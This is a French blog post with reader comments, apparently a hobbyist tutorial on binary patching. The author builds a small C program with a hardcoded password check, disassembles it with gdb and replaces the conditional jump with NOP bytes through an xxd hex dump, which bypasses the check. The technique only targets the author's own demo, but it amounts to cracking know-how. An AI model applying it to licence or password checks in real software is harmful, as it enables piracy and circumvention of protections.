Tout ceux qui ont connu la grande époque des sharewares se souviennent, peut-être avec nostalgie, des bidouilles à faire dans un éditeur héxadécimal pour déverrouiller (illégalement, c'était mal !) telle ou telle fonction. C'est en repensant à cette époque lointaine que je me suis dit qu'à présent j'était très certainement capable de comprendre ce qu'il y avait derrière le fait de changer quelques valeurs dans un éditeur hexa...voire même que je serai capable de reproduire le phénomène. Aussitôt pensé, aussitôt fait (ça m'a pris moins de 10mn, donc n'ayez pas peur : tout le monde arrivera à suivre ^^ !)

Slalom - Creative Common by "Mikael Miettinen" on Flickr

Première chose à faire pour reproduire les conditions de l'époque : trouver un programme cible à "déplomber". Pour le bien de la démonstration j'en réalise un moi-même qui se comportera donc de la façon que je souhaite et dont je connaitrai les rouages internes. Hop je dégaine vim :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    if (0==strcmp("secretpassword",argv[1])){
        printf("HACK SUCCESSFUL\n");
    }
    printf("Au revoir\n");
    return EXIT_SUCCESS;
}

Le concept de ce micro bout de code est simple : on invoque le programme avec un argument, si jamais cet argument est bien "secretpassword" le programme nous affiche "HACK SUCCESSFUL" (c'est la fonction que nous cherchons à "déplomber"), si l'argument fourni n'est pas le bon le programme passe directement à "Au revoir" (et si on ne fourni pas d'argument il segfault...c'est juste un programme d'exemple !). Bref, on compile ($gcc hackme.c) puis on lance gdb ($gdb a.out). Une fois le soft chargé dans gdb, on désassemble le bloc d'instruction principal ((gdb)disass /r main) :

0x08048461 <main+13>:    53     push   %ebx
0x08048462 <main+14>:    51     push   %ecx
0x08048463 <main+15>:    83 ec 10       sub    $0x10,%esp
0x08048466 <main+18>:    89 cb  mov    %ecx,%ebx
0x08048468 <main+20>:    8b 43 04       mov    0x4(%ebx),%eax
0x0804846b <main+23>:    83 c0 04       add    $0x4,%eax
0x0804846e <main+26>:    8b 00  mov    (%eax),%eax
0x08048470 <main+28>:    89 44 24 04    mov    %eax,0x4(%esp)
0x08048474 <main+32>:    c7 04 24 90 85 04 08   movl   $0x8048590,(%esp)
0x0804847b <main+39>:    e8 c8 fe ff ff call   0x8048348 <printf@plt>
0x08048480 <main+44>:    8b 43 04       mov    0x4(%ebx),%eax
0x08048483 <main+47>:    83 c0 04       add    $0x4,%eax
0x08048486 <main+50>:    8b 00  mov    (%eax),%eax
0x08048488 <main+52>:    89 44 24 04    mov    %eax,0x4(%esp)
0x0804848c <main+56>:    c7 04 24 95 85 04 08   movl   $0x8048595,(%esp)
0x08048493 <main+63>:    e8 d0 fe ff ff call   0x8048368 <strcmp@plt>
0x08048498 <main+68>:    85 c0  test   %eax,%eax
0x0804849a <main+70>:    75 0c  jne    0x80484a8 <main+84>
0x0804849c <main+72>:    c7 04 24 a4 85 04 08   movl   $0x80485a4,(%esp)
0x080484a3 <main+79>:    e8 b0 fe ff ff call   0x8048358 <puts@plt>
0x080484a8 <main+84>:    c7 04 24 b6 85 04 08   movl   $0x80485b6,(%esp)
0x080484af <main+91>:    e8 a4 fe ff ff call   0x8048358 <puts@plt>
0x080484b4 <main+96>:    b8 00 00 00 00 mov    $0x0,%eax
0x080484b9 <main+101>:   83 c4 10       add    $0x10,%esp
0x080484bc <main+104>:   59     pop    %ecx
0x080484bd <main+105>:   5b     pop    %ebx
0x080484be <main+106>:   5d     pop    %ebp
0x080484bf <main+107>:   8d 61 fc       lea    -0x4(%ecx),%esp
0x080484c2 <main+110>:   c3     ret

Bon...ça en raconte des choses tout ça...Heureusement que je connais le programme de base, et que je l'ai conçu exprès pour que la tache soit aisée, sinon je pense qu'avec mes compétences en assembleurs "un peu" rouillées je me serait amusé 5mn à trouver ce que je cherche. Ici aucun problème cependant : il n'y a qu'un seul embranchement conditionnel qu'on repère facilement :

0x0804849a <main+70>:    75 0c  jne    0x80484a8 <main+84>

Ce que l'on veut faire c'est donc supprimer cet embranchement conditionnel afin que le flux d'instruction poursuive son cours direct. Pour ce faire je vais utiliser une méthode à moi et honnêtement j'ignore complètement si c'est la méthode canonique ou pas, mais moi je l'aime bien.

D'abord j'utilise xxd1 pour récupérer un dump héxa de mon binaire (xxd a.out > dump.txt), ensuite je cherche dans ce dump l'enchainement 750c qui correspond à mon saut conditionnel (antépénultième bloc dans la ligne suivante) :

0000490: 8504 08e8 d0fe ffff 85c0 750c c704 24a4  ..........u...$.

Je remplace maintenant mon saut conditionnel par l'instruction préférée des pionniers des shellcodes, à savoir le bien aimé 0x90 qui correspond à NOP2. La ligne dans mon fichier dump devient donc :

0000490: 8504 08e8 d0fe ffff 85c0 9090 c704 24a4  ..........u...$.

On récupère un binaire à partir du dump héxa modifié (xxd -r dump.txt b.out). Et ensuite il suffit de lancer b.out avec n'importe quel argument pour bien passer par la fonction que l'on voulait déplomber et qui était auparavent "protégée" par mot de passe :

$ ./b.out HackYou
HACK SUCCESSFUL
Au revoir

Et voilà, le tour est joué. Il me reste encore quelques années/décénnies/vies de pratique avant d'espérer atteindre le niveau de compétence de certains gourous du désassembleur, mais en tout cas ça m'a bien amusé de constater le chemin parcouru depuis mes années collèges avec ce mini déplombage des familles... et ça m'a aussi donné envie de jouer plus souvent avec le couple gdb/xxd.


Dromi le 2010/02/26 21:52

Mon épouse me fait judicieusement remarquer qu'il serait plus propre de modifier l'adresse du saut. En effet, imagine que tu aies ton printf si la condition est non vérifiée... et hop le Oz ne sait plus craquer son programme !
Petite question au passage, est-ce que ça marche si au lieu de mettre des NOP tu effaces simplement les instructions de la pile ?
Moi je me contenterais juste de signaler qu'on peut appeler xxd directement depuis vim (sinon il ne serait pas livré avec...) c'est plus rapide !

Ozwald le 2010/03/04 11:21

Effectivement il serait plus propre de modifier l'adresse du saut, et c'est même bien souvent la seule solution pour détourner le programme de la façon souhaitée, mais :
1. J'ai justement conçu ce programme-ci pour que je n'ai besoin que d'un simple petit nop (et je l'avoue au milieu du texte ;) ) 2. Modifier un saut est plus compliqué qu'écrire un petit nop (il faut au moins re-calculer l'adresse du saut, et ne pas s'emmêler les pinceaux parmi la pelleté de sauts qui existent)

Je ne suis pas certain de comprendre ce que tu proposes avec "effacer les instructions de la pile". Tu veux supprimer l'instruction jump du fichier binaire ? Si c'est bien ça je déconseille parce que ça va décaler toutes les instructions suivantes et donc potentiellement foutre la grouille dans d'autres sauts ou éventuelles références obscures :-/

Très bonne remarque pour vim (et je rajoute juste la précision que pour l'utiliser les commandes idoines sont :%!xxd et :%!xxd -r )

  1. Inclu dans le package de "vim", c'est donc forcément un programme génial ;) !
  2. NOP signifiant : No OPeration. Cette instruction ne fait rien du tout comme son nom l'indique :)

« Page 3 / 6 »